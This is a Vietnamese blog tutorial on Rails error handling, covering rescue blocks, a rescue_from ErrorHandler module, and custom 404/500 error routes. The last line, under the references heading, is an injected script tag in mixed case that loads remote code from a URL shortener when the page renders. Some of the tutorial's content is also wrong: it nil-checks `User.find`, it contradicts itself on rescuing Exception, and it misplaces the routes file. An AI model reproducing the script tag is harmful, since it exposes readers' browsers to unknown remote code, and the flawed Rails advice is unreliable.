Error Handling in Rails

Introduction

Theo như Luật Murphy, bất cứ điều gì nếu bắt đầu sai thì sẽ kéo theo sai cả quá trình, đó là lý do tại sao công tác chuẩn bị lại quan trọng. Nó áp dụng ở khắp mọi nơi, ngay cả trong phát triển phần mềm.

Các ứng dụng mà chúng tôi phát triển phải đủ mạnh mẽ để xử lý nó. Nói cách khác, nó phải có độ đàn hồi hay tính mềm dẻo. Đây chính là lý do tôi viết bài về Error Handling in Rails trong bài này.

Trong Ruby on Rails khi chúng ta xử lý các sai sót ở cấp độ điều khiển, ta thường sử dụng if .. else hoặc when ... case ... ví dụ như:

class UsersController < ApplicationController
  def show
    @user = User.find(params[:id])
    if @user
      render json: @user, status: :ok
    else
      render json: {
        error: "User with id #{params[:id]} not found."
      }, status: :not_found
    end
  end
end

Xét ở ví dụ trên ta thấy, nếu đối tượng User được tìm thấy bản ghi ta trả về json đối tượng đó, nếu không tìm thấy trả về lỗi. Đó là phương pháp hay được chúng ta sử dụng trong việc điều hướng lỗi không mong muốn.

Khi không tìm thấy bản ghi nào trong đối tượng User, nó sẽ chuyển hướng đến lỗi 500 là lỗi dự phòng trong Ruby on Rails hay bất cứ ngôn ngữ lập trình nào mà tôi và các bạn đã biết. Lỗi này sảy ra đối tượng rỗng nó sẽ được điều hướng đến đối tượng RecordNotFound để bắn ra lỗi. Điều này xảy ra khi bạn sử dụng find_by! như ví dụ trên hoặc phương thức tìm kiếm khác.

1-A5y6tpRQodP7mJxQqZ7CyA.png

Exception != Error

Trước khi đi vào sửa các lỗi một điều quan trọng chúng ta cần là hiểu rõ loại lỗi đó gây ra. Như trong ví dụ lỗi ActiveRecord::RecordNotFound bên dưới:

begin
  @user = User.find_by!(id: 1)
rescue ActiveRecord::RecordNotFound => e
  print e
end

Nhưng khi bạn muốn sử dụng tất cả các Exceptions thì điều quan trọng bạn cần biết chính là sự khác nhau giữa ExceptionError trong Rails. Như vậy cách tốt nhất là giữ nguyên dạng nguyên bản của Exception nếu không muốn dùng ActiveRecord::RecordNotFound, ví dụ:

begin
  @user = User.find_by!(id: 1)
rescue Exception => e # Never do this!
  print e
end

Hoặc bạn cũng có thể sử dụng StandardError để xử lý ngoại lệ thay cho Exception cũng được, như ví dụ:

begin
  @user = User.find_by!(id: 1)
rescue StandardError => e
  print e
end

Rescue

Để giải quyết các error chúng ta có thể sử dụng khối Rescue. Khối Rescue trong Ruby on Rails xử lý tương tự như khối try ... catch trong Java hoặc PHP... vậy. ví dụ:

class UsersController < ApplicationController
  def show
    @user = User.find(params[:id])
    render json: @user, status: :ok
  rescue ActiveRecord::RecordNotFound => e
    render json: {
      error: e.to_s
    }, status: :not_found
  end
end

Với phương pháp này các error được xử lý trong Controller. Mặc dù cách xử lý này hoàn toàn có thể không được giải quyết tốt nhất để xử lý lỗi.

Với các can thiệp và xử lý lỗi như trên, chúng ta có thể dễ dàng khỏi lỗi do người dùng gây ra khi cố tình truyền vào param không đúng. Mặc dù cách này khá hiêu quả nhưng đây chưa phải là cách tốt nhất để xử lý các lỗi.

Error Handling

Để xử lý các error lựa chọn đầu tiên của tôi là viết ở dưới ApplicationController. Đó là cách tốt nhất để tách xử lý error hoặc Exception ra khỏi logic của dựa án.

Tạo module để xử lý error và Exception ở mức độ toàn cục. Ta tạo một module ErrorHandler trong file error_handler.rb để xử lý error và để nó trong lib/errors sau đó bạn include vào ApplicationController, code ví dụ như bên dưới:

# application_controller.rb
class ApplicationController < ActionController::Base
  protect_from_forgery with: :exception
  include Error::ErrorHandler
end
#error_handler.rb
module Error
  module ErrorHandler
    def self.included(clazz)
      clazz.class_eval do
        rescue_from ActiveRecord::RecordNotFound, with: :record_not_found
      end
    end

    private
    def record_not_found(_e)
      json = Helpers::Render.json(:record_not_found, _e.to_s)
      render json: json, status: 404
    end
  end
end

Lưu ý: Ở đây tối sử dụng Helper classes để render đầu ra dưới dạng json.

Chúng ta sẽ include tất cả các module ErrorHandler trong ApplicationController.

#users_controller.rb
# After including ErrorHandler module in ApplicationController
# Remove the Error block from the controller actions.
class UsersController < ApplicationController
  def show
    @user = User.find_by!(id: params[:id])
    render json: @user, status: :ok
  end
end

Chúng ta sẽ refactor module ErrorModule để điều hướng và xử lý các lỗi có thể gặp phải.

# error_handler.rb
module Error
  module ErrorHandler
    def self.included(clazz)
      clazz.class_eval do
        rescue_from ActiveRecord::RecordNotFound do |e|
          respond(:record_not_found, 404, e.to_s)
        end
        rescue_from StandardError do |e|
          respond(:standard_error, 500, e.to_s)
        end
      end
    end

    private

    def respond(_error, _status, _message)
      json = Helpers::Render.json(_error, _status, _message)
      render json: json
    end
  end
end

Nếu lỗi của bạn nhận được thông báo ActiveRecord:RecordNotFound nó được kế thừa StandardError lỗi không có bản ghi nào. Chúng ta có thể xử lý lỗi này thông qua :record_not_found. StandardError là khối lỗi dự phòng để xử lý tất cả các lỗi gặp phải trong ứng dụng.

404 and 500

Bạn có thể xử lý các trường hợp ngoại lệ thông thường như 404 và 500 thông quá ngoại lệ defult trong ứng dụng Ruby on Rails. Bạn cũng có thể tạo ra điểu hướng ngoại lệ riêng của mình, có thể tạo đa điều hướng ngoại lệ như bên dưới tôi viết:

# errors_controller.rb
class ErrorsController < ApplicationController
  def not_found
    render json: {
      status: 404,
      error: :not_found,
      message: 'Not Found.'
    }, status: 404
  end

  def internal_server_error
    render json: {
      status: 500,
      error: :internal_server_error,
      message: 'Internal Server Error'
    }, status: 500
  end
end

Rails sử dụng Routes để xử lý trường hợp ngoại lệ, ta chỉ cần thêm vào application.rb các đoạn mã như sau:

Rails.application.routes.draw do
  get '/404', to: 'errors#not_found'
  get '/500', to: 'errors#internal_server_error'

  root 'home#index'
  resources :users, only: [:create, :show]
  get 'not_visible', to: 'home#not_visible'
end

Conclusion

Việc sử dụng mềm dẻo các điều hướng exceptions và errors giúp cho ứng dụng của chúng ta khi hoạt động sẽ trơn tru và mượt mà hơn.

Có rất nhiều cách để bạn có thể custom điều hướng lỗi, trên đây là tôi chỉ giới thiệu vài cách cơ bản. Các bạn có thể tham khảo thêm ở các bài viết khác hoặc Google Search.

Cảm ơn các bạn đã đọc bài viết, có thắc mắc hay ý kiến gì xin để lại comment phía dưới, chúc các bạn vui vẻ! (thankyou).

Tài liệu tham khảo

<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>

All Rights Reserved